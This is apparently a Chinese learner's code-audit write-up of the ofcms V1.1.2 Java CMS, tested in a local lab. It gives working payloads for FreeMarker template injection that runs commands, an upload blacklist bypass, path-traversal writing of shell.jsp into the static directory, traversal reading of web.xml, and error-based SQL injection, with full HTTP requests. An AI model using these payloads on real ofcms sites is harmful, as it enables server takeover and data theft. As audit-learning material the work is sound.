花了近半年时间学习了JavaEE,JavaWeb,只想感慨非专业零基础的人学习周期太长了,但也算是淌过这个坎了,学到反序列化CC链部分虽然能反向推导出CC1,但有些吃力,为了不打击自己,还是从简单的代码审计开始实践,正好新买的书里有ofcms-V1.1.2的漏洞讲解。
安装步骤:
1、ofcms-V1.1.2\ofcms-admin\src\main\resources\dev\conf\db.properties修改成自己的mysql账号密码。
2、数据库导入sql文件
3、命令行启动mysqld.exe进程(phpstudy自带)
4、idea远程调试,网上有相关步骤
漏洞一:模板注入
通过查看pom.xml,可以知道使用了freemarker模板,该版本存在模板注入
org.freemarker freemarker 2.3.21
同样在后台确实有模板设置功能,添加payload:<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
访问首页可以看到服务器弹窗
漏洞二:任意文件上传1(鸡肋)
搜索关键字upload,重点关注带参数
我们先看第一个带参数的upload ComnController的upload方法
我们进去看看UploadFile file文件是怎么生成的,this.getFile进去看看发生了什么。
该方法返回getFile(parameterName),uploadPath没有进,说明uploadPath不可控,如上图。
进入其getFile方法看到方法遍历uploadFiles,if判断文件名是否相同,相同则返回uploadFile,看来是将uploadFile在getFiles()进行处理(新手猜测勿喷),进去看看getFiles,根据之前Java的学习知道文件上传通常有三种方式:文件流的形式、ServletFileUpload方式、MultipartFile。可以看到这里应该是第三种方式,对其进行了封装,最后返回MultipartRequest类型的request。
看看MultipartRequest函数封装了什么
其又封装了wrapMultipartRequest,进去看看,调用了一个私有方法,封装的挺多,代码如下
private void wrapMultipartRequest(HttpServletRequest request, String uploadPath, int maxPostSize, String encoding) {
File dir = new File(uploadPath);
if ( !dir.exists()) {
if (!dir.mkdirs()) {
throw new RuntimeException("Directory " + uploadPath + " not exists and can not create directory.");
}
}
// String content_type = request.getContentType();
// if (content_type == null || content_type.indexOf("multipart/form-data") == -1) {
// throw new RuntimeException("Not multipart request, enctype=\"multipart/form-data\" is not found of form.");
// }
uploadFiles = new ArrayList();
try {
multipartRequest = new com.oreilly.servlet.MultipartRequest(request, uploadPath, maxPostSize, encoding, fileRenamePolicy);
Enumeration files = multipartRequest.getFileNames();
while (files.hasMoreElements()) {
String name = (String)files.nextElement();
String filesystemName = multipartRequest.getFilesystemName(name);
// 文件没有上传则不生成 UploadFile, 这与 cos的解决方案不一样
if (filesystemName != null) {
String originalFileName = multipartRequest.getOriginalFileName(name);
String contentType = multipartRequest.getContentType(name);
UploadFile uploadFile = new UploadFile(name, uploadPath, filesystemName, originalFileName, contentType);
if (isSafeFile(uploadFile)) {
uploadFiles.add(uploadFile);
}
}
}
} catch (com.oreilly.servlet.multipart.ExceededSizeException e) {
throw new ExceededSizeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
重点读try/catch里面的代码块里面的isSafeFile函数,过了这里就可以文件上传了
看到是黑名单【.jsp,.jspx】,可尝试利用Windows特性::$DATA绕过
进行payload构造,只有file可控,只填了file参数
utf-8">
upload file
但是没有找到路由及访问点,鸡肋。同一个类下的editUploadImage也可以
漏洞三:任意文件上传2(鸡肋)
同样的,通过关键字找到UeditorAction类的uploadImage方法也可能存在
一看跟任意文件上传1一样的原理,就不分析了,uploadImage、uploadFile、uploadVideo、uploadScrawl四个方法都可以。
漏洞四:任意文件写入
与文件上传类似,但不同的文件写入并非真正上传一个文件,而是将上传文件的代码通过web站点的功能直接写入服务器,如页面编辑。
搜索关键字:save,查看cms自定义的save方法,这里只有TemplateController的save方法参数可控(getPara("res_path")),被最终将内容写入(FileUtils.writeString)
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());//获取站点模板资源路径
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());//获取站点模板路径
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
可以看到有四个参数,res_path、dirs、file_name、file_content,代码很直接,没有任何过滤。最后写入的代码FileUtils.writeString(file, fileContent)。
file由File pathFile控制,pathFile = new File(pathFile, dirName);,可以猜想应该是路径加文件名最后成为完整的文件路径,pathFile不可控,要么是绝对路径要么是相对路径,dirName由我们的dirs参数控制,所以最终可以拼接出类似:C://tomcat//webapps//xxxxx/xxx/../shell.jsp 的路径
fileContent由file_content参数决定。
所以构造payload
POST /ofcms_admin/admin/cms/template/save HTTP/1.1
Host: 192.168.1.27:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
?
res_path=res&dirs=../&file_name=shell.jsp&file_content=xsaxsax
目标机器成功上传该文件,但在该文件问下无法访问,这里我们第一想法是找一个可以访问的路径存放shell.jsp,首先就是背景图文件目录,即upload/image文件夹,发现还是404,但实际我们已经将shell.jsp上传成功
这时候就体现了代码审计前对cms的pomx.ml及web.xml分析的重要性,
可以看到所有url都会经过jfinal过滤器,可以看看JFinalFilter,主要看doFilter方法try内容
再看看哪些方法调用了handle,看看都有哪些过滤
最后可以看到ActionHandler重写了handle
package com.ofsoft.cms.core.handler;
import com.jfinal.handler.Handler;
import com.ofsoft.cms.admin.controller.BaseController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
?
/**
* 请求后缀名处理
*
* @author OF
* @date 2017年11月24日
*/
public class ActionHandler extends Handler {
private String[] suffix = { ".html", ".jsp", ".json" };
public static final String exclusions = "static/";
// private String baseApi = "api";
?
public ActionHandler(String[] suffix) {
super();
this.suffix = suffix;
}
?
public ActionHandler() {
super();
}
?
@Override
public void handle(String target, HttpServletRequest request,
HttpServletResponse response, boolean[] isHandled) {
/**
* 不包括 suffix 、以及api 地址的直接返回
*/
/*
* if (!isSuffix(target) && !"/".equals(target) &&
* !target.contains(baseApi)) { return; }
*/
//过虑静态文件
if(target.contains(exclusions)){
return;
}
target = isDisableAccess(target);
BaseController.setRequestParams();
// RequestSupport.setLocalRequest(request);
// RequestSupport.setRequestParams();
//JFinal.me().getAction(target,null);
next.handle(target, request, response, isHandled);
}
?
private String isDisableAccess(String target) {
for (int i = 0; i < suffix.length; i++) {
String suffi = getSuffix(target);
if (suffi.contains(suffix[i])) {
return target.replace(suffi, "");
}
}
return target;
}
?
/*
* private boolean isSuffix(String target) { for (int i = 0; i <
* suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target)))
* { return true; } } return false; }
*/
?
public static String getSuffix(String fileName) {
if (fileName != null && fileName.contains(".")) {
return fileName.substring(fileName.lastIndexOf("."));
}
return "";
}
}
?
可以看到URL如果包含static/直接renturn,跳出过滤,所以可以将shell文件放在static目录下
POST /ofcms_admin/admin/cms/template/save HTTP/1.1
Host: 192.168.1.27:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
res_path=res&dirs=../../static&file_name=shell.jsp&file_content=xsaxsax
访问成功
漏洞五:文件读取
搜索关键字FileInputStream
看到由FileUtil工具类和ReprotAction类
看看哪些调用了readString方法,总共就三处,第一处和第三处文件名写死的
第二处方法代码有点长,就不截图了
public void getTemplates() {
//当前目录
String dirName = getPara("dir","");
//上级目录
String upDirName = getPara("up_dir","/");
//类型区分
String resPath = getPara("res_path");
//文件目录
String dir = null;
if(!"/".equals(upDirName)){
dir = upDirName+dirName;
}else{
dir = dirName;
}
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
}
?
File[] dirs = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return file.isDirectory();
}
});
if(StringUtils.isBlank (dirName)){
upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
}
setAttr("up_dir_name",upDirName);
setAttr("up_dir","".equals(dir)?"/":dir);
setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);
setAttr("dirs", dirs);
/*if (dirName != null) {
pathFile = new File(pathFile, dirName);
}*/
File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});
setAttr("files", files);
String fileName = getPara("file_name", "index.html");
File editFile = null;
if (fileName != null && files != null && files.length > 0) {
for (File f : files) {
if (fileName.equals(f.getName())) {
editFile = f;
break;
}
}
if (editFile == null) {
editFile = files[0];
fileName = editFile.getName();
}
}
?
setAttr("file_name", fileName);
if (editFile != null) {
String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace("<", "<").replace(">", ">");
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
}
if("res".equals(resPath)) {
render("/admin/cms/template/resource.html");
}else{
render("/admin/cms/template/index.html");
}
}
editFile是由files遍历循环来的,所有还得往上看files是否可控
下图代码块意味着files只能是.html、xml、css、js的文件
查找pathFile,看到其结果是由绝对路径加dir组成,而dir由dirname决定,无过滤且参数可控
构造payload
GET /ofcms_admin/admin/cms/template/getTemplates?res_path=res&up_dir=&dir=../../WEB-INF&file_name=web.xml HTTP/1.1
Host: 192.168.1.27:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
Connection: close
但只能读取html、xml、css、js文件,原因上面有表述,但也是有一定危害的,可以查看一些xml的配置文件
同时可能由于对files数组遍历的原因也有一个目录遍历漏洞
漏洞六:SQL注入
通过阅读pom.xml,发现没有使用mybaits等工具,直接搜索关键字Statement、select、update、insert
可以看到executeSQL封装了预编译,所以看该方法时一眼扫过,看看有没有预编译使用错误的。
最终在SystemGenerateController.create方法中看到sql文件来自于get请求,并且未进行预编译直接执行
构造payload
GET /ofcms_admin/admin/system/generate/create?sql=update%20of_cms_api%20set%20api_id=(updatexml(2,concat(0x7e,(select%20user())),0)) HTTP/1.1
Host: 192.168.1.27:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=94334B2D1FE522DCAFAA3374DF2AD8AF
Connection: close
总结:
第一次审计Java代码,基本上都能静态审计出来,感觉还是因为学了CC链调试,回头再看这些代码就简单了。